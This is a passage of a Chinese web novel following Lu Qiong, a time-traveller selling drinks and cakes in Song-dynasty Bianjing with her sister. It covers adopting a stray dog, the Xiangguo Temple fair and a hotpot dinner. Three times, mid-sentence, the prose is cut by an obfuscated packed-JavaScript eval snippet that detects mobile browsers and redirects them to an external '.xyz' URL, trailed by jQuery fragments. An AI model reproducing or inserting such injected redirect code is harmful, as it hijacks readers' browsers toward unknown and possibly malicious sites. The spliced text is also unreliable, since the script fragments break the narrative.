托他们的福，金娘豆腐还没卖光，比昨日还剩多了一板，此时心下也担忧陆琼，皱紧眉头：“这我也不知晓，不过她没说今日不出摊，应当会来的。” 小郎君生得秀气，手上握一把折扇，见问不出下落，也只能叹气离开，谁知转身便见到一抹淡绿襦裙。 陆琼整理行囊耽误不少时候，等坐下喘口气，才想起今日还没出摊，又带上陆萱匆匆赶来，朝大家道歉：“今日有事耽误了。” 有些人想讨一碗紫苏饮解渴，等不住便去了别处。 小郎君是最有耐心的，现下也排在前头，要一份紫苏饮，外加四份绿豆糕。 陆琼衣袖挽在肘下三寸，露出光滑细腻皮肤，与淡粉紫苏饮相互映衬，弯起眼眸道：“今日没有绿豆糕，换成广寒糕，正好给小郎君添个好意头。” 糕中搀有鲜桂花，时下被文人赋予“广寒高甲”的喻义，同时也象征着“蟾宫折桂”，凡是赴京赶考的书生都会用广寒糕当做赠礼。 小郎君也不例外，他正准备着三月后的秋闱，平日除去念书就是出来散心，先前偶遇陆琼的摊子，尝过一碗紫苏饮，酸且甜的味道刺-激着味觉，叫他疲倦的心神有了片刻喘息，后来变成了习惯。 如今还被碰上好的祝愿，他心下也动容，冲动之下又多打包几份糕点回去，今夜就悬梁刺股，也要把《春秋》再通背一遍。 好容易才招待完客人，陆琼坐在矮凳上歇会儿。搬了行囊还挑了一路桶，她的腰酸痛得不行，只是扭两下就咔咔作响，突然一双手覆上来，轻轻揉按，力道软硬适中。 痛意缓解，她阖起眼道：“萱儿的手法足够去开铺子了，保准不少人光顾。” 陆萱脑袋随着动作一晃晃的，使了劲道：“阿姐净打趣人，给人推拿可累人，我要开铺子也是开药铺，到时给人治病。” 陆琼还没开口，一旁的金娘就笑意吟吟：“萱姐儿好大的志气，日后定能成大事。” 被人夸耀，陆萱也羞怯起来，躲在陆琼身后：“只是胡说罢了，不当真。” 陆琼则不同，她前世见过扫兴的家长，其孩子大多带着自卑和怯懦，做事也不敢放开手脚，如今长姐如母，就该当个开明的家长。 何况陆萱也不小了，先前在上元村是受限于环境，现下来了“大城市”，也该把她的教育提上日程。 前些年托人带了些话本，教陆萱识过字，但离通读古文还差得远。她自己也是半桶水，只会是误人子弟，还得找夫子上门才行，国子监的学生非富即贵，自是请不起，倒不如寻一些落榜秀才来得实在。 这般想着，陆琼面上却笑着道：“那你这是要一辈子留在阿姐身边不成？也不用成亲，到时候我们两人就搀扶着对方走路。” 金娘听了也跟着笑，把陆萱弄得抬不起头。 接近收摊，食盒里还剩了些糕点，陆琼捏住一小块，送到嘴里，桂花清香缠绕鼻尖，就连味蕾也能尝出香味来，放的糖不多，味道淡了些，倒是别有一番滋味。 她也在摊子放置了钱筒，数了数有近五百文，除去成本，也有二百多文的利润。 往常紫苏叶是现摘的，自然不算进成本里，从明日起要到药铺花钱买，成本也是跟着上涨，她打算趁此换新品。不然四文一份的紫苏饮没卖几日，突然涨到五文一份，定是叫人反感，还会赶客。 陆琼数出一百文，叫陆萱去买酸梅汤的药材，外加一罐冰糖，她则留下来把剩下的紫苏饮卖出去。 见金娘也剩了几块豆腐，陆琼撑着下巴：“前几日都卖光了，今日怎么都剩许多。” 金娘盖上纱布，收起空板子：“明日就是相国寺大集的日子，都养精蓄锐着，准备逛上大半天吧。” 说罢又突然想起来：“小娘子的饮子可以多做些，那日人多，用不了多久便能售尽。” 陆琼也笑着应好，随后又问起霜姐儿的病情，金娘说已经好转，还说她与丈夫商讨后决定把霜姐儿留在身边，上午金娘摆摊，柳海岩则在家照看孩子，下午则换过来。 再说上片刻，街上人流渐少，金娘便也离开，剩陆琼留在摊子等陆萱回来。 沈卿上午找过陆琼，见人不在便回去，闲来无事又走到龙津桥，见着陆琼也笑着上前：“可还有剩的紫苏饮？” “还有不少，”陆琼不忘卖力推销剩下的桂花糕，“要不再买些广寒糕，来年定是高中。” 她见沈卿整日文绉绉，言行举止像是读书人，应当是周遭学堂或是国子监的学生，这话定是说到他心坎上。 沈卿愣住，很快又化成笑：“甚好，那剩下的广寒糕都给我罢。” 剩下近十份广寒糕，全用油纸给他装好，共得了四十文，陆琼也准备收摊回去，昨日的盐鸡还剩了不少，今日便做个面食，想起面筋劲道的口感，她也馋了。 “阿姐，阿姐！” 陆琼在和面，才成面絮状，就听见陆萱在院子惊呼，随手倒扣上盆，循着声响出去。 门槛上趴着一只瘦弱的狗，毛发干枯，身上也是脏兮兮，看起来流浪很久。 时下已有不少人养宠物，飞禽猫犬样样都有，市面上不仅售卖宠物粮食，还有专门的宠物美容服务，可见百姓对宠物的喜爱。 就是不知它是走失了，还是被遗弃了。 陆琼没养过宠物，但陆萱好似很感兴趣，狗狗一呜咽她也跟着皱眉：“萱儿是想收留它？” 陆萱当然想，狗狗受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773945|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 累她也揪心，眼含泪水，可怜兮兮点头。 就这样，她们搬来新家的第一天就加入新成员，陆琼还要去做午食便没多管，陆萱则在院子给狗洗澡，还取名叫雪儿。 雪儿是男孩，陆琼本来觉得取这名字奇怪，可陆萱执意便随着她去了，而且雪儿洗净后还真是偏白的。 陆琼在灶台上摔打面筋，还能听见外头传来的笑声，时而夹杂着雪儿虚弱的叫声，这个家越发热闹了。 面是死面，没有酵母粉很难发起来，但是暴露在空气中久了也能发面，不过陆琼做的是揪面片儿，用死面就成。 揪面片在这叫馎饦，是从北方游牧民族传来的，起初是手搓成面片，后来就成了手擀面，就算不加浇头，直接放锅里煮沸，味道也不差。 所谓冬馄饨，年馎饦，这还是除夕必吃的食物。 灶台的锅是屋子本有的，她用水冲洗多次才敢用，往里添水，随着火苗升起，锅壁也冒着小泡。待水咕噜沸腾，把面皮全撒进去，用木匕搅拌均匀，馎饦颜色就变黄，熟了便沉入锅底。 雾气散开，陆琼洗净碗，盛有三大盘，也不知道雪儿应该吃什么，她没有养狗的经验，加上它虚得很，要是吃坏肚子就麻烦了。 盐鸡放在食盒，这会儿也放甄上蒸好，散发着咸香。她看中这房子的原因便是有两个灶口，方便她捣鼓各种吃食。若是可以，她也想叫人造一个可以移动的炉子，到时还能直接在街上做吃的，这几日也在龙津桥见了不少，但还没打听清楚价钱，眼下只能凑合过。 堂屋八仙桌跟灶台挨在一起，没几下功夫馎饦、盐鸡都上桌了。 陆琼隔着门喊人：“萱儿，馎饦做好了！” 雪儿身形大，却是皮包骨，陆萱使点劲也能双手抱起来，哼哧哼哧稳着小碎步过来：“阿姐，雪儿跟我说它也饿了。” 陆琼见她额头微微出汗，笑道：“它怎么跟你说的，学来听听。” 陆萱为了给雪儿讨吃的，皱起鼻子学狗叫：“呜呜呜。” 还真像雪儿呜咽无力的模样，陆琼心都化了，立马就去做狗粮来！ 狗好像能吃骨头，但是瞧雪儿那般虚弱，也不知会不会消化不良，要是有互联网，她还能在网上发帖求问，但现下只能去问金娘了。 霜姐儿被带去看郎中了，金娘留在家做午食，得知她们家收留了狗，有些吃惊，但还是传授了养狗经验。 陆琼回去就蒸了几个熟鸡蛋，添了点跟金娘讨来的胡萝卜，压成泥放在盘上。雪儿趴在地上，鼻子跟着香味一动，没多犹豫就舔着盘子，吃得一干二净。 陆琼跟陆萱二人蹲在一旁，头挨着头齐出声：“它吃得真香。” 雪儿有劲了，愿意在院子到处走，陆琼也坐下吃馎饦。虽有些坨了，还是冒着热气，一筷子馎饦，色泽透亮，嚼劲十足，一块盐鸡，咸香可口，喝上一口面汤，中和咸味，叫她忍不住感叹：“要是有可乐就好了。” 陆萱也埋头苦吃，碗里馎饦几乎都下肚，听这话抬起头皱眉：“阿姐，可乐是什么？” 9. 相国寺 陆琼没想到自己竟脱口而出，忙找补道：“阿姐说的是磨喝乐，也快到乞巧了，该置办些乞巧之物。” 陆萱眨着眼睛：“乞巧节还有二月多，就是要买磨喝乐也得是七月初才适合，现下才五月中旬。” “是阿姐忙糊涂了，唉这馎饦该凉了，快些吃吧，”陆琼讪讪笑，“今夜好生歇息，明日便是去相国寺赶大集多日子。” 陆萱也期待得很，听这话欢快点头，也不追究到底是“可乐”还是“磨喝乐”了。 东方欲晓，陆琼洗漱完便着手准备摆摊的吃食。 八仙桌上摆满食材，乌梅、山楂、陈皮、桑葚、甘草、冰糖，初生的太阳透过窗边照进来，炉火持续燃着，满是烟火气。 陆萱兴奋得彻夜未眠，现在眼睛都睁不开，迷迷糊糊差些把柴火放在干稻草上，陆琼在桌上和面，瞥见这惊魂时刻赶忙跑过来：“你这是要把家烧了啊！” 听见陆琼着急的语气，陆萱才猛地清醒，睡意全无，不敢再打瞌睡。 锅里水也不停翻滚冒着泡，陆琼倒入酸梅汤的药材，大火煮片刻，便减柴成小火熬上几刻钟。 酸梅汤比起紫苏饮，味道更浓郁，还没煮开她便闻到香味，乌梅香和陈皮香是最独特的，持续散发着酸香。 酸能开胃，陆琼忙活一早还没做早食，便数出十五文给陆萱：“萱儿到云记胡饼摊买两份胡饼来，要夹肉的。” 陆萱应声好，攥紧铜板就带着雪儿一块出门。 随后陆琼又做上桂花糕、绿豆糕，这两样糕点已经熟练于心，没多久便能上锅蒸。 雪儿的吃食就交由陆萱安排，她买胡饼回来后就蒸了些南瓜，撕了小块胡饼放在雪儿的碗里。 陆琼蹲在堂屋门口，啃了好大口胡饼，汁水流油：“雪儿吃得比我还好，我还没南瓜吃。” 胡饼里夹的是羊肉沫，虽掺了不少粉，却也叫她吃得舒爽，中间薄薄一层馅，四周是蓬松的面皮，咸香可口。 陆萱手拿胡饼，另一手摸着雪儿的背，眯眼享受着：“那阿姐要来吃南瓜不？雪儿好像不太喜欢。” 南瓜原是明代才传入，但陆琼前些年便吃过，她又啃一口胡饼，肯定是哪位前辈在朝廷外交上作出巨大贡献，才造福了她。 吃过早食，二人便赶去相国寺。 通济坊离州桥近，过了桥便能望见相国寺，整座寺外观宏伟，建筑多呈塔状，大门左右各安置有一座瓶状琉璃塔，寺内还有四座小塔。 周遭人满为患，皆是赶往相国寺多行人，陆琼二人也紧紧贴着，防止酸梅汤被打洒。 山门口多是售卖飞禽猫犬类的宠物，还有少见的奇珍异兽，竟然还有大白鹅，抻长脖梗叫，声音灵动婉转，引起不少人驻足。 “这可是会学人说话的鹦鹉……”卖货郎提起鸟笼，一手逗着笼里的鹦鹉。 谁知鹦鹉不买账，躲着他的手，还跟着道：“这可是会学人说话的鹦鹉……” 乐得行人笑成一片，有人上前去问价钱，竟要五两银子，惊叹声连连响起，最后被某官员的仆从买走了，其余人也只能摇头离开。 穿过第一道门，便是各种杂货摊，院内更有不少人撑起棚屋，颜色各异，叫卖的商品也各不相同，瓜果、蜜饯、屏风、文玩，如今还多了陆琼的酸梅汤。 “客官拿稳了，”陆琼端上一碗透亮酸梅汤，在上边洒上一层桂花点缀，“配上广寒糕或是绿豆糕更佳，不比宫廷糕点差。” 食客身穿蓝袍白衫，道谢后就着碗边饮尽，一碗下肚仍意犹未尽：“味道不错，可是加了糖？” 陆琼点头，笑道：“客官好眼力，我这乌梅也是精挑细选的，过干会带着苦涩，加糖也难去掉苦味。” 她也不怕把秘方说出来，酸梅汤的方子算是人尽皆知，可不是谁都有本事辨认药材好坏，就算能煮好一碗酸梅汤，也不能掌握好酸梅汤的比例，更别提熬成大份拿出来卖。 酸梅汤开胃，叫人越喝越饿，放在一旁的食盒还散发出阵阵香味，食客们便又顺手买了好几份糕点，一上午过去便卖得差不多了。 见院内行人络绎不绝，陆琼也跟陆萱感叹，若是天天都是开放日多好。 卖蜜饯的妇人也挣得盆满钵满，脸上容光焕发，听这话也笑道：“小娘子想来，待下月来便是，若成日开放，法事可要忙坏了。说起来，寺里平日还要举行斋会，备上几百人的茶点、果子、吃食，这法事本事也不小。” 陆琼听了也咂舌，叫她准备这么多吃的还真不行，没想到寺里的人这般厉害，就是不知道有没有机会跟他们合作，她就相当于后世的承包商？ 毕竟餐饮最挣钱的就是做大买卖，像过去学校食堂里，明明味道一般还能卖出十多块一份，有了固定客源，收入也能稳定。 越想越觉得心里痒，她打算日后生意做大，有铺子有人手后，就去找相国寺的法事谈谈。 二人赶在午时收摊，随后到寺内别处转上一回，大殿左右是寺院尼姑固定摆摊的地方，陈列有刺绣、绒花、头饰、帽子、假发髻…… 陆琼看上一只簪子，簪头雕有白玉兰，下身点缀着细长串珠，眼光下晶莹剔透。 见她眼睛发直，尼姑将那簪子递与她：“施主若是喜欢，可拿来试戴。” 陆萱道谢后便将簪子取过来，戴在陆琼的小盘髻上，衬得人越发秀丽：“阿姐戴着真好看。” 尼姑又拿来一面铜镜，陆琼见了也欢喜，就买下了，也给陆萱挑了几样头饰，转头又去了成衣摊。 腰间盘缠渐少，换来一身鹅黄暗花抹胸、雪青色素衫、琥珀色交领襦，陆琼手上大包小包，还在佛殿后的资圣门前买书和笔墨，陆萱也提着包裹跟在后头。 上午吃的胡饼都耗尽了，她们离开后院便去前殿找吃食。 附近的烧饼摊排满人，摊主从盆中取出一小团剂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773946|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，擀成饼状，刷上一层油便架起火炉烤，烫得油滋滋响，翻面便见面饼成了金黄色，里边夹了梅菜，散发出浓郁的香味，把食客都引来。 陆琼早上才吃过饼，跟陆萱换下眼神便摇头离开。 也有脱颖而出的清淡之品，各种醪糟丸子陈列在院前，一对夫妇在摊上操劳，郎君替人盛丸子，娘子负责收钱招徕客人：“客官可是要洛神酒丸子？” 远远望去也有四五样丸子，他们将这些运来也是不容易，对比起来，陆琼觉得她最近过得有些安逸了。 她询问那娘子，得知有桂花酒酿圆子，也有绿豆酒圆子、洛神酒圆子、红糖酒圆子，陆琼便要了绿豆酒圆子，陆萱不能喝酒，则去别处买了肉馒头。 说是馒头，其实是后世的包子，叫法不同，有肉馒头自然也有素馒头，肉馒头也分羊肉馅、猪肉馅、蟹黄陷，陆萱买的是猪肉馅的肉馒头。 陆琼坐在小娘子提供的矮凳上，单手捧着碗，舀一勺圆子吃，沾了酒气绿豆也变得更香醇。 她也知道做法，应当是先把绿豆浸水，泡软了去衣，上锅蒸成软糯粉状，跟糯米粉一起和水揉成面团，分成小剂子搓圆，这不难做，但要搓这么多圆子也是累人，比她煮酸梅汤累多。 陆萱在一旁啃馒头，嘴里含糊不清：“阿姐，我方才瞧人还帮忙送馒头，说是送到什么府上。” 陆琼笑道：“那是闲汉，替人买东西的。” 帮人跑腿的在这叫闲汉，自宋朝商业迅速发展，百姓生活丰富多彩，跑腿的闲汉也越来越多，像她们摊子没卖几日，客源不固定，自然没人会想叫闲汉专门来买。 街上铺子则不同，招牌醒目，食客一瞧便记住某记包子，某记香饮子，她还需要更加努力，才能盘下铺子。摆摊以来挣有一贯多钱，除去成本、日常花销，还剩半贯钱。 在汴京讨生活比她想得更难，年底还有房税、住税，样样都需钱，就是冬天的木炭也要费上半贯钱。 陆琼化动力为食欲，把剩下的圆子都吃净。 ……… “小郎君，我们就回去吧，这拖得越久夫人就越生气。” 青弦在后边急得团团转，他家小郎君不知怎的，非要来相国寺看热闹。 现下商业兴起，可士农工商的观念依旧根深蒂固。小郎君自幼学习四书五经，亦是天资聪慧，年纪尚小便中举，本以为能夺得会元之名，却怎料直接落榜。 夫人心疼他，怕他想不开便不敢再提科举，小郎君倒是得寸进尺，游山玩水去了，从南向北，处处都有他的足迹。 现下夫人还不忘为他铺路，在京中挑选佳人，只为小郎君的仕途着想。 可小郎君做的是什么浑事。 谢洵可不知青弦在腹揣他，依旧观察着，发现大集内人流最多的便是院内，尤其是卖香料茶叶、珍玩字画的。 还想再走走，视线一转，好似看见熟人了？ 10. 披霞供 谢洵认出那是在街上遇见的小娘子，那日走得匆忙，还没来得及赔礼道歉，却没想今日相国寺人多，转眼她的身影便没入人海。 …… 离开相国寺后，陆琼叫陆萱先把东西带回家，她则去了肉铺，打算今晚吃火锅，时下还有个“披霞供”的美名，不过是围着火炉吃肉罢了。 彼时宋王朝丢失燕云十六州，黄河上游的牧场被异族占领，羊肉价格居高不下，陆琼这些年也吃不起羊肉，只买得起鸡鸭鱼肉，这也是普通百姓的主流选择，而兔肉也因价钱便宜，肉片鲜亮成为涮火锅的主要荤菜。 州桥有两家肉铺，彭家肉铺和明记猪肉，陆琼随便挑一家买了半斤猪肉、半只兔肉，转身又去买了些瓜果蔬菜，荤素搭配才能营养均衡。 可惜没有牛肉，不过就算有她也不敢买，按大宋刑律，擅自杀牛会进牢狱，毕竟在农耕社会，牛还是极为重要的生产工具。 临近傍晚，通济坊里的住户也跟着热闹起来。 陆琼刚进巷子便听见坊里有人在争吵，没瞧见人，倒是碰见金娘探出头来，她卸下背篓问道：“金娘，前边这是怎么了？” 金娘依在门上，掩嘴压低嗓音：“隔壁裴家在吵架，裴家儿子早早就懂事，他娘去世不久爹就娶了新妇，有了后娘可不就有了后爹，这日子怎么会好过。” 陆琼还想八卦两句，隔壁大门就开了，一双晦暗不明的眼神紧紧盯着她，叫她心里落了一拍，那人很快就移开视线，转身出了巷子。 “可吓人，”金娘也后怕地拍拍胸脯，声音有气无力，“裴小郎君跟他爹可不像，也不知道怎么长成这样的。” 瞧她那副模样，陆琼反倒笑出声：“你也太胆小了。” 金娘也不跟她吵，见背篓里放了不少肉和菜：“你这是要摆摊卖肉？” 陆琼摇头，笑道：“这是要吃的。” 真是不会过日子，金娘咂舌，就怕她哪日把家底败光了，苦口婆心道：“琼姐儿，你还是省点钱好，汴京比不得乡下，处处都是花钱的地儿，何况你还有萱姐儿要养……” 要是像她这般下去，出不了几日就要揭不开锅了，万一生个小病，耽误挣钱不说还要花好大一笔钱，不过这话她可不敢对着人讲，只是心里念叨几句。 陆琼可不知道她的顾虑，脸上挂着笑，转移话题：“霜姐儿好些了？” 说起女儿，金娘眉头才舒展开，点头道：“好多了，今儿还念着要吃东西，我方才正打算去买些蜜饯来着。” “那正好，叫霜姐儿一块来，”陆琼拎起背篓，“我这买了不少菜，天热吃不完要坏。” 金娘还想推脱，陆琼又拿霜姐儿来劝她，想着人多热闹，她便应下了，带上自家的调料也跟着去了。 陆萱坐在干稻草扎成的狗窝上，怀里抱着雪儿，先是把脸凑过去，又是用手心给狗狗顺毛，斜阳照在一人一狗身上，其乐融融。 陆琼进来便瞧见这样温馨的画面，身后还有霜姐儿和金娘的窃窃私语，心里好似被填满了。 “阿姐，你回来啦，我刚刚给雪儿喂过吃食了。”陆萱捧着雪儿爪子朝人挥手。 雪儿也跟着叫两声：“汪汪汪！” 霜姐儿才六岁，正是贪玩的年纪，见到雪儿就走不动，也跟着去撸狗，还好雪儿性格温驯，趴在地上乖乖被人摸背。 陆琼关紧院门，叫陆萱照看好霜姐儿，便带着金娘进了堂屋。上午赶早，锅里还没来得及洗，金娘便主动包揽下活，她则去处理食材。 盆里放满水，依次洗净肉备用，猪肉切成两份，一份用来做涮肉，另一份加淀粉做绣丸，也就是肉丸子。 时下的猪肉.色泽透亮红润，都是新鲜宰的，用刀切成薄片，再卷成卷儿，在盘上摆好，毕竟吃火锅的仪式感还是得有。 见金娘洗好锅，陆琼才想起家里没有合适的炉子，金娘便回去把自家小炉子拿来，驾在八仙桌上，下边放上木炭就能不断加热水。 金娘切着萝卜，听见堂屋外传来的笑声，有些欣慰：“霜姐儿以前就贪玩，也不怕生，没想到被我娘养了半年，不仅瘦了，还不怎么说话，这几日才好些。” 陆琼不能感同身受，也不会安慰人，只是听她倾诉，时不时也跟着点头。 很快食材都备好，就差肉丸子没做成，没有绞肉机确实费力，她先用刀把肉剁碎，加一点水到盆里顺时针搅拌，再加入生粉、胡椒粉一起搅成糊状，水还不能加多，不然太稀就不能成型。 陆琼左手捏肉料，顺着虎口眼挤出，右手拿勺子刮去，就成了丸状，每刮几下勺子便要沾上清水，免得肉馅粘在勺子上。 金娘也一起捏丸子，见她手法娴熟也夸赞：“小娘子手真巧，日后谁娶了你真是前世修来的福气。” 陆琼也只是笑着不敢应下，先把锅里水烧开，把生丸子都过一遍水，不然到时候太厚煮不熟。 “阿姐，能吃了吗？”陆萱闻着肉香就跑过来，围着陆琼身后转。 见肉丸变色，陆琼用长木匕把丸子捞出来：“再等等，你去把柜里的青梅拿出来，跟霜姐儿一起分分，每人只能吃两颗，不能贪多。” 上回芒种做的腌渍青梅还剩了大半罐，这两日忙得晕头转向，差点就忘了。 她也擦净手，取了一颗来吃，含在嘴里也酸甜可口，越发想吃饭了。 随后开始备蘸料，时下条件有限，只能添半碗芝麻油、蒜末、椒、酱，还切了些花生碎，分成四小份，金娘也顺手端上桌。 上午煮的酸梅汤她还留了几份，也一起摆出来。 陆萱早早就带着霜姐儿去洗净手，二人乖巧地坐在椅子上，雪儿也蹲在陆萱身边，眼巴巴地张嘴看着她。 “你也馋了。”陆琼笑着揉它头，随后把给他留的肉丸放碗里。 金娘已经见怪不怪了，除了富贵人家，也就琼姐儿舍得把肉给狗吃。见霜姐儿双眼发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773947|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮，盯着兔肉流口水，她也乐出声，替她挽好袖子：“想吃什么跟娘说，娘夹给你。” 待最后一盘肉端上来，陆琼才挨在陆萱和金娘中间坐下，叫大家赶紧动筷子。 水咕噜咕噜冒泡，她趁机下了半碗肉丸，还放了些萝卜。来宋朝多久，她便有多久没吃过牛杂，吸满汁水的豆腐串、炖烂的萝卜块……心里叹气，现下只能靠这火锅解解馋了。 霜姐儿扎了时下流行的三角髻，头上盯着三个角，以陆琼的审美来看实在有趣，笑着给她盛了碗萝卜汤，还添了不少肥猪卷，因为没有肥牛卷只好用“肥猪卷”安慰自己。 霜姐儿小声朝她道谢，有些腼腆。学人蘸上酱料，猪肉便染上酱色，鲜香透亮，咬一口，嘴角都沾了一圈油。 “霜姐儿慢点吃。”说罢金娘从腰间掏出一块布，擦去霜姐儿嘴上的油。 不过这琼姐儿的手艺真好，就是她也吃了不少菜，连她平日不喜欢的萝卜也觉得好吃极了，更别说那蘸料也是香得很。 桌上四人就数陆萱吃得最欢，先夹一块兔肉，再塞一口肉丸，嘴里烫起泡也不愿意吐出来：“阿姐做得绣丸最好吃，还是能天天吃就好了。” 陆琼正在啃萝卜，听她话手都要拿不稳筷子，天天做还了得，只是剁肉就费不少力，更别提还要挤丸子，要不是金娘帮忙，她也不会想做丸子。 “下回再说，今儿这些还不够你吃呢？” 吃到一半，炉火便小了，金娘靠近灶头，便主动去取炭，陆琼也跟着去。 “金娘，这附近可有谁木工活好的？” 金娘握着铁钳子，刚开一个口子，听着话也思索着：“你这是要打家具？要打架子床还是供桌？” “不是，”陆琼摇头，“想要打一乘推车，我见街上有人推着车摆摊，下边还能支火炉，看着好使。” 金娘夹一块木炭到簸箕里，嘴里道：“其实裴小郎君就能打。” “是谁啊？” 金娘解释道：“就是方才吓人的那个，你要是胆子大，明日午时就能去他们家看看。” 陆琼也有印象了，想了想还是问：“没其他人了？” “有是有。” 金娘顿住片刻才道：“不过他们是老木匠，专门给你打推车至少要花上两百文，再加上你这木料怎么也要个一百文，没个三五百下不来。裴小郎君就不同，他自己偷学的，手活不比别人差，但年纪小没人愿意找他打，你要是现在去，说不准一百来文就能弄好。” 世上最可怕的就是穷，陆琼手里钱不多，要是全花在小推车上，她摆摊的本钱都要没，那还是找那姓裴的人好。 再追着金娘问清他的底细，陆琼便决定明天收摊后就去找他谈，说不准真能剩下一大笔钱。 “阿姐，火要灭了！” 听见陆萱催促，她们才端着些木炭过去，才添了好几块炭，用蒲扇扇两下火便起了，没多久水又沸腾起来。 11. 扒龙舟 窗外旭日东升，拨开晨间云雾，街巷里嘈杂声渐起，木门开合声、卖货郎叫卖声、小儿嬉闹声…… 搬来汴京，她们便不用早起赶路，陆琼今日也起得比往常晚，在被窝磨蹭几下才肯下床，披上碧青窄袖衫便进了灶房。 灶台旁放置有一口缸，她到缸里打上水，拍在脸上，丝丝清凉带走夏天的燥热，满足叹道：“真舒服！” 芒种之后便是端午，这天也叫天中节，晨起还要在门上挂花草。 昨天用过晚食，霜姐儿还依依不舍又跟雪儿玩弄好久，惹得众人打趣她，金娘则留下帮忙收拾灶房，还顺嘴提一句端午的事，不然陆琼也要忘了。 前几年刚来，她很多节日都搞不明白，先是记错时间，再是因后世习俗不同弄出不少笑话，后来虞娘过节都会把她叫一起，如今虞娘不在还真有点不习惯。 陆琼也只是感慨一番，很快就裁下一张红纸，把艾叶、菖蒲捆成一束，用草绳悬挂在院子大门上。 即便是过节，她们也要准备摆摊。龙津桥在蔡河上，今日赛龙舟街上定是人满为患。到时候观看龙舟的人渴了累了，不知不觉就会在她摊上花上钱，定是赚得比平时多。 陆琼只是想着便觉得美，赚钱的事怎么会累，手下动作更有干劲。 糕点要用的馅料早早蒸好。又因酸梅汤最好煮，她便把药材泡好水，沥干放入锅里，倒上水药材都浮在表面，盖好锅后便生火加柴，待酸梅汤凉后才好加冰糖，昨日在相国寺是叫食客按口味自己放糖，反响还不错，往后也能如此。 大抵是心理作用，陆琼搬来新家后总觉得这灶房比原来的好用。上元村那条烟道经常堵，尤其是遇上雨天，烟雾就会弥漫四周，常常把她呛得不轻。不过也可能是刚用不久的缘故，总之这几日开火都很顺利。 灶房走出几步便能见到院子，雪儿也早早醒了，正趴在青砖上乘凉，毛茸茸的尾巴跟着贴地，看起来很惬意。 陆琼笑着捧一勺水倒入它碗里，顺手摸摸它的毛，比先前光滑许多，再摸几下好狗便要去做早食。 粽子在这叫“角黍”，大多是三角状的，外皮包裹着粽叶，再用麻绳捆好。按照风俗，早膳是要吃粽子的，可她们昨天荤食吃多了，糯米又不不易消化，还是吃清淡些好。 陆琼打算煮些粥，先淘米，沥出的淘米水倒在空器皿，可以用来洗衣除垢。在汴京生活最不方便的就是院里没有井，还要走几步去外头打水，也幸好她们住在河边，不敢想提桶走几里路有多辛苦。 不久米也跟着下锅，加一点盐，搅匀后在上边支架子，再放上几个洗净的鸡蛋便成。大黄、小黄下的蛋早吃完了，这些是她昨天顺手买的，一文两个，见不贵便花钱买三十个，够吃上一阵子。 街坊邻居出门的愈来愈多，陆萱也跟着起来，洗漱好便过来帮忙做糕点。 为挽留食客，陆琼可谓是费尽心思，先前的绿豆糕、广寒糕已不算什么，今日又添上枣泥馅、红豆馅的山药糕，上锅蒸只需要生火的功夫，前边的准备工作才是繁杂。 陆琼手艺越发好，昨日在相国寺还有人以为她是厨娘，问能不能到他们家做事。她肯定是拒绝的，给人打工哪有自己当老板好，不过面上却是一脸可惜，说上一番道理才委婉拒绝人家。 一旁陆萱负责给红枣去核，装了有一小碗，打成泥后添油、加糯米粉，揉成光滑小团子，红豆泥也是如此。 “锅里的粥应是煮好了，你看看去。”陆琼手下还在压山药泥，加上熟糯米粉拌匀，分成两份，一份枣泥陷的，剩下的都是红豆陷，放入模具压成型便好。 绿豆糕、桂花糕也不难做，更何况都烂熟于心，形成肌肉记忆了，因着端午的缘故，她便做多了些。 加上枣泥山药糕、红豆山药糕很快就装满四个食盒，每个食盒各有两层，约莫能放二十份糕点。一份五文，全卖光就能有四百文，酸梅汤也是五文一份。 陆琼独自傻笑，她这摊子都能改名叫“五元店”了。 不过她这些料子用的都是中上等，成本还得减半，剩下的才是利润，若是算上柴火、租金，这钱还得再减减。 酸梅汤很快也煮好，陆琼分了好几个器皿放凉，便见陆萱还在清粥上撒了把桂花，屋里散发着香味。 二人围坐在八仙桌旁，吃过粥才出门摆摊。 金娘这些日出摊晚，街上已有不少人，叫卖的摊贩、埠头卸货的纤夫、围桥看龙舟的行人…… 她是吃过早点才来的，还带着霜姐儿一起。霜姐儿病都好全，能够出门吹吹风，现下也帮忙扶着担子，虽帮不上忙也憋红了脸使劲，嘴上学纤夫喊着：“一二，起。” “跟紧娘走，别走散了。”金娘也费力挑着担，今天多做了一板豆腐，沉了不少。 霜姐儿攥紧金娘衣摆，糯糯地应声好。她脸圆圆的，头上绑了红花绳，脖颈挂着金娘用五色丝线编好的“长命缕”，发髻垂在两边活似从画里走出的小仙童。 龙津桥连通内城与外城，人流自是络绎不绝，叫卖声也跟着此起彼伏。 陆琼将打包好的糕点递给食客：“客官，一共十五文，请慢走。” 